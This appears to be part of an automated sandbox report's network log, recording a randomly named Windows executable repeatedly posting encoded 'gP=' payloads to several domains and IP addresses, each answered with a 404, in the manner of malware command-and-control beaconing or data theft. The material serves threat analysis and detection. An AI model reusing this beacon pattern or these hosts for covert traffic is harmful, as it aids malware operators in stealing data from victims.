Oct 8, 2024 15:55:56.264822960 CEST	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:55:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49996	81.2.196.19	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:55:58.290016890 CEST	1769	OUT	POST /jsqu/ HTTP/1.1 Host: www.asociacia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.asociacia.online Referer: http://www.asociacia.online/jsqu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 75 34 68 6d 5a 66 74 6c 58 43 78 34 68 43 73 6d 7a 2b 4e 4d 6b 4d 6d 46 32 30 7a 4e 59 51 55 4d 6c 77 37 48 47 31 42 50 79 67 79 72 44 43 34 61 4f 37 49 47 4a 4f 71 74 54 6c 63 52 4d 4a 35 67 52 48 6e 79 2b 64 4f 4d 51 75 42 64 55 50 42 6d 4f 4e 4c 6b 41 48 53 65 4c 6f 48 48 62 45 68 32 72 55 30 41 4d 55 34 6e 49 48 55 7a 64 34 42 49 75 64 48 73 35 50 4b 38 34 39 61 50 49 34 39 42 4b 39 6e 58 39 65 34 33 31 2f 39 66 47 70 66 37 6c 59 67 57 51 45 6d 7a 47 66 5a 35 6c 2b 76 4b 49 37 32 2f 34 70 67 35 54 69 2f 70 33 41 7a 71 65 42 38 4b 2f 38 71 76 52 2b 6e 48 44 63 65 6f 7a 73 65 79 77 52 2b 4f 57 35 72 61 75 6d 78 74 68 65 61 5a 73 6a 2f 47 38 31 61 52 72 34 6b 37 35 7a 32 33 5a 49 66 73 57 73 4b 72 55 2f 73 32 45 49 52 52 35 41 54 73 51 77 55 4b 34 4f 44 34 78 2b 74 50 5a 76 6f 6b 39 2f 74 30 2f 36 39 4d 31 54 47 2b 68 72 63 56 52 75 69 51 69 39 46 39 35 45 37 42 57 35 38 70 55 76 57 39 77 2f 73 51 35 47 4b 6d 69 75 55 63 6a 74 36 7a 42 48 56 36 2f 54 2f 45 63 32 36 65 67 39 66 64 59 51 6d [TRUNCATED] Data Ascii: gP=u4hmZftlXCx4hCsmz+NMkMmF20zNYQUMlw7HG1BPygyrDC4aO7IGJOqtTlcRMJ5gRHny+dOMQuBdUPBmONLkAHSeLoHHbEh2rU0AMU4nIHUzd4BIudHs5PK849aPI49BK9nX9e431/9fGpf7lYgWQEmzGfZ5l+vKI72/4pg5Ti/p3AzqeB8K/8qvR+nHDceozseywR+OW5raumxtheaZsj/G81aRr4k75z23ZIfsWsKrU/s2EIRR5ATsQwUK4OD4x+tPZvok9/t0/69M1TG+hrcVRuiQi9F95E7BW58pUvW9w/sQ5GKmiuUcjt6zBHV6/T/Ec26eg9fdYQmOlCxaeUv12ATSaln1zZ8IUpmmFgLY1P8bc0Pj+5/H9iaOnmri/ogZVQgJOENMkS2DYqOLfI+F7JYdt+Mokpx1HBfjuCclNC+zo7ysNM739d4U2qv6CqMDbayCE31PS9+nO3ktgzwKV7qBKUqCZKkQx2D2Z9BwZp814sy/9wx2+7YPsMIzktFfkWyt76PSDOI5XqtwprD2TOTWlwbY2ifYvYQvyWE5Ukev2G8ZlL5GO3tE4OKrPXZyHSt0MQSfJBYSDCMXa8ndIzLooOtGAdaO7pjzjYrBO3KCW0OUYy878afFWC5l/EzCkT/SkQAU9925OMpTK3B/SDbg3PKk0iY3XCgDu6A5S5hqs65FisRKHgSKzhucK8b1ey5a2t4duV/lkzFvNFm/73XfpNKN0JzGB0/l3khc5x6t1DCp34S7qm+q0QZL+rxwHLtPpgGjeAqi1mipGm0cawFZ+ABGRlLXoANrQMW+t2XD7Vt3sUMkILc7gvMunUFhgmJ+/4Mld+NwzM5+/Hq4u36y75syj0fCfME+UUTEGo1YX1/R4y+pfttWWVHKt/j4HJbm15IcucH6kbHYUlHJuIoqz27gNWoHaEpOQOn2NIMPzpqz3a/6R/n/WptMMbMOCNl96GpKo+SdqhsIlsdVOLSLvMc3MSlGtDeai+S0I9rVg [TRUNCATED]
Oct 8, 2024 15:55:58.941078901 CEST	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:55:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49997	81.2.196.19	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:00.831670046 CEST	464	OUT	GET /jsqu/?-L=kBMxZFRpAD6P&gP=j6JGavFFAQYaoSsk3MdZismLyTuecDBS/zrFTn0tpA7YEGIVc6EsUszyewNJDeJ1aRTf+dmReaRifudBLpLuAECuXdbdVwd/lx4BGGAWHgBLP9AhssTD5eI= HTTP/1.1 Host: www.asociacia.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:56:01.492780924 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:01 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49998	107.163.130.249	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:06.935695887 CEST	715	OUT	POST /jyeu/ HTTP/1.1 Host: www.93187.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.93187.xyz Referer: http://www.93187.xyz/jyeu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 67 6a 31 76 6f 61 38 33 34 37 58 77 6f 5a 43 77 62 76 38 57 47 30 30 78 54 31 46 63 39 54 38 4f 75 75 49 6c 6e 44 7a 57 37 77 43 6a 46 48 64 76 62 6a 55 63 72 34 38 34 63 6b 66 71 43 46 41 67 70 4a 79 31 2b 6e 51 42 59 34 43 68 59 32 35 5a 78 73 77 35 78 72 47 72 78 6e 59 73 69 37 52 70 48 41 66 43 4b 31 61 6a 54 36 75 51 36 37 6b 55 57 61 2b 55 48 45 41 56 71 2b 6b 52 2f 47 38 36 2f 5a 56 70 6e 6d 4d 4a 67 4d 6f 79 46 4f 67 38 34 7a 71 59 46 39 6e 4c 72 5a 31 62 32 51 39 36 32 6f 33 4c 2f 6f 58 5a 44 6c 72 6a 6a 75 75 51 68 66 6b 48 70 34 32 31 59 75 6f 42 50 69 6a 6b 77 3d 3d Data Ascii: gP=Hgj1voa8347XwoZCwbv8WG00xT1Fc9T8OuuIlnDzW7wCjFHdvbjUcr484ckfqCFAgpJy1+nQBY4ChY25Zxsw5xrGrxnYsi7RpHAfCK1ajT6uQ67kUWa+UHEAVq+kR/G86/ZVpnmMJgMoyFOg84zqYF9nLrZ1b2Q962o3L/oXZDlrjjuuQhfkHp421YuoBPijkw==
Oct 8, 2024 15:56:07.827970028 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:07 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66c48d46-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49999	107.163.130.249	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:09.481554985 CEST	735	OUT	POST /jyeu/ HTTP/1.1 Host: www.93187.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Origin: http://www.93187.xyz Referer: http://www.93187.xyz/jyeu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 67 6a 31 76 6f 61 38 33 34 37 58 7a 49 70 43 79 36 76 38 51 6d 30 7a 76 44 31 46 54 64 54 43 4f 75 69 49 6c 69 37 6a 57 49 45 43 6a 6c 33 64 75 61 6a 55 62 72 34 38 7a 38 6b 67 70 79 46 62 67 70 4e 51 31 37 66 51 42 59 73 43 68 63 79 35 5a 42 51 78 35 68 72 45 69 52 6e 61 6f 69 37 52 70 48 41 66 43 4c 51 48 6a 54 69 75 52 4c 4c 6b 62 54 32 39 5a 6e 45 44 63 4b 2b 6b 47 50 47 34 36 2f 5a 38 70 6a 6d 69 4a 6d 41 6f 79 45 2b 67 38 70 7a 72 4e 56 39 68 50 72 59 4c 54 47 74 45 37 57 68 32 43 2b 4d 6e 59 51 70 61 6d 6c 2f 30 41 43 57 7a 45 36 77 30 68 2b 50 59 49 2b 48 71 2f 2b 6e 32 69 4e 30 64 46 66 33 48 44 6a 6a 59 79 37 41 43 4e 70 73 3d Data Ascii: gP=Hgj1voa8347XzIpCy6v8Qm0zvD1FTdTCOuiIli7jWIECjl3duajUbr48z8kgpyFbgpNQ17fQBYsChcy5ZBQx5hrEiRnaoi7RpHAfCLQHjTiuRLLkbT29ZnEDcK+kGPG46/Z8pjmiJmAoyE+g8pzrNV9hPrYLTGtE7Wh2C+MnYQpaml/0ACWzE6w0h+PYI+Hq/+n2iN0dFf3HDjjYy7ACNps=
Oct 8, 2024 15:56:10.342489958 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:10 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66c48d46-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	50000	107.163.130.249	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:12.028846025 CEST	1748	OUT	POST /jyeu/ HTTP/1.1 Host: www.93187.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 1231 Origin: http://www.93187.xyz Referer: http://www.93187.xyz/jyeu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 48 67 6a 31 76 6f 61 38 33 34 37 58 7a 49 70 43 79 36 76 38 51 6d 30 7a 76 44 31 46 54 64 54 43 4f 75 69 49 6c 69 37 6a 57 4a 38 43 6a 57 2f 64 76 34 4c 55 61 72 34 38 77 38 6b 6c 70 79 46 61 67 74 70 55 31 37 62 66 42 61 55 43 68 2f 36 35 62 79 49 78 32 68 72 45 67 52 6e 62 73 69 37 45 70 48 51 62 43 4b 67 48 6a 54 69 75 52 49 6a 6b 66 47 61 39 62 6e 45 41 56 71 2b 34 52 2f 47 51 36 37 4e 47 70 6a 71 63 4a 32 67 6f 7a 6b 75 67 76 50 6e 72 51 6c 39 6a 43 4c 59 44 54 47 68 6c 37 57 74 41 43 2b 34 64 59 58 6c 61 72 54 36 72 45 54 2b 59 53 73 73 62 33 4f 2f 43 44 50 72 55 7a 63 62 56 74 38 39 69 51 72 2f 69 47 67 71 55 6a 4c 30 6d 5a 75 57 56 72 6b 36 6e 66 45 48 35 4e 6f 54 4c 66 48 4f 67 38 61 34 77 4b 69 38 59 39 75 49 6b 51 61 45 48 75 2f 7a 56 4a 77 34 65 6e 44 33 61 36 53 38 2f 71 65 4f 61 56 6e 30 66 4f 56 65 63 47 71 51 44 67 42 32 6c 68 59 62 64 4d 62 54 46 57 69 64 41 39 67 56 39 6d 37 7a 38 44 6c 54 34 4a 73 51 2b 7a 4f 4d 57 6d 5a 57 36 76 5a 30 61 6f 48 35 45 6c 59 4c 6d 72 5a 6f [TRUNCATED] Data Ascii: gP=Hgj1voa8347XzIpCy6v8Qm0zvD1FTdTCOuiIli7jWJ8CjW/dv4LUar48w8klpyFagtpU17bfBaUCh/65byIx2hrEgRnbsi7EpHQbCKgHjTiuRIjkfGa9bnEAVq+4R/GQ67NGpjqcJ2gozkugvPnrQl9jCLYDTGhl7WtAC+4dYXlarT6rET+YSssb3O/CDPrUzcbVt89iQr/iGgqUjL0mZuWVrk6nfEH5NoTLfHOg8a4wKi8Y9uIkQaEHu/zVJw4enD3a6S8/qeOaVn0fOVecGqQDgB2lhYbdMbTFWidA9gV9m7z8DlT4JsQ+zOMWmZW6vZ0aoH5ElYLmrZo/jGDsiEco5T4f5eIUBDJsO5ZIo+BIiPlRT3c7kGKN1gGxnOKxpcF/oiqubRpjV1mIRUErvzhDhiCVwcZY/fPsqbmDiUgGlb0rXI6AmXjnabM+kBOZn2KMHfukBL6iwuufVryx/wqgZpn1Xa04gKqXU71wOfwZiyrY+rXRodkCR22KOqDZPuHiULm2qmR/YGJkfd0CJ7A1Nt3PnDYZDHFWW6Xnzl3qDTxDiO+1QRr/JNVHafu+1I8JLwVMpKTTLzwaKlAkcfSQddLXZY9N/WFcb7ruNMhi6I74lL/y+oVS5+ZNs0g08xA282RJ3ASfYGPIDNYGrUXJcvYVbNyclZ7WsrwYbBmSuFL3kY7Ifh0ZLSmLpJDW/g92NV3NES5eh52d8cTxEVB51KS//b1BYLdugtvJvWoL5BHgeDnOy9xsfqfOKt2hN91Nnq4kqCN6WDa6+rv/wVfVVjLgMTdjiGP8kjEAWFThoNfoZHUwO4DU/M9QTbiOtRO6lWll383uLJO7upLYuFhZpbOcr6GgnNOkoCAojU8NrWHJTwjSMdbVJebAjWdjZ6ePZQaNoi9nenponVl9sMiQZ2Xbo4cMYxKFNmjM35sm++W7f5rF8W09kTAWGBUhsgfhjy8V1wQxAJY+8Xg19v3NCIm/J/KWvb9Ycx4/bqmFdENgM [TRUNCATED]
Oct 8, 2024 15:56:13.127681017 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:12 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66c48d46-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	50001	107.163.130.249	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:14.563930035 CEST	457	OUT	GET /jyeu/?gP=KiLVsdjbhLGFnrJehKTzSS0IkzcAWv/LJ+iUpFrqUMB7t1Dgy4rxQKgK0ZJ2vypsgoxK5tfcGeo5lfiWWTY3/QPGqQrPglnah1puMp4IzQunG6SYXgyDdEY=&-L=kBMxZFRpAD6P HTTP/1.1 Host: www.93187.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Oct 8, 2024 15:56:15.481507063 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:15 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66c48d46-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Oct 8, 2024 15:56:15.742499113 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:56:15 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66c48d46-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	50002	103.21.221.4	80	3000	C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:56:29.495868921 CEST	754	OUT	POST /abla/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Origin: http://www.tempatmudisini01.click Referer: http://www.tempatmudisini01.click/abla/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 Data Raw: 67 50 3d 63 2f 70 76 46 61 58 37 35 48 78 38 4c 69 53 65 4a 32 6c 59 6c 71 36 6e 71 4f 59 6b 73 36 4e 31 59 4a 67 73 54 74 4a 33 55 4c 30 69 51 4d 30 58 32 63 50 71 54 59 6a 70 71 46 51 56 69 72 48 77 54 61 67 75 4a 2f 2b 41 64 58 6a 44 38 6c 6d 47 41 6e 50 73 55 50 62 52 45 43 72 6b 50 64 76 44 75 52 30 75 78 64 6d 78 7a 66 56 43 78 52 5a 6b 35 53 36 70 52 4c 42 50 37 46 56 6f 5a 76 6e 64 4f 76 7a 55 65 51 51 37 63 56 6f 6f 73 57 39 39 37 63 5a 70 71 57 37 6f 69 73 63 68 76 61 48 2b 6e 56 6c 58 71 6a 54 62 54 73 4f 6c 50 45 41 73 36 4c 31 65 35 6e 47 75 39 61 62 6c 2f 62 35 74 77 51 3d 3d Data Ascii: gP=c/pvFaX75Hx8LiSeJ2lYlq6nqOYks6N1YJgsTtJ3UL0iQM0X2cPqTYjpqFQVirHwTaguJ/+AdXjD8lmGAnPsUPbRECrkPdvDuR0uxdmxzfVCxRZk5S6pRLBP7FVoZvndOvzUeQQ7cVoosW997cZpqW7oischvaH+nVlXqjTbTsOlPEAs6L1e5nGu9abl/b5twQ==
Oct 8, 2024 15:56:30.980561972 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Tue, 08 Oct 2024 13:56:30 GMT server: LiteSpeed Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 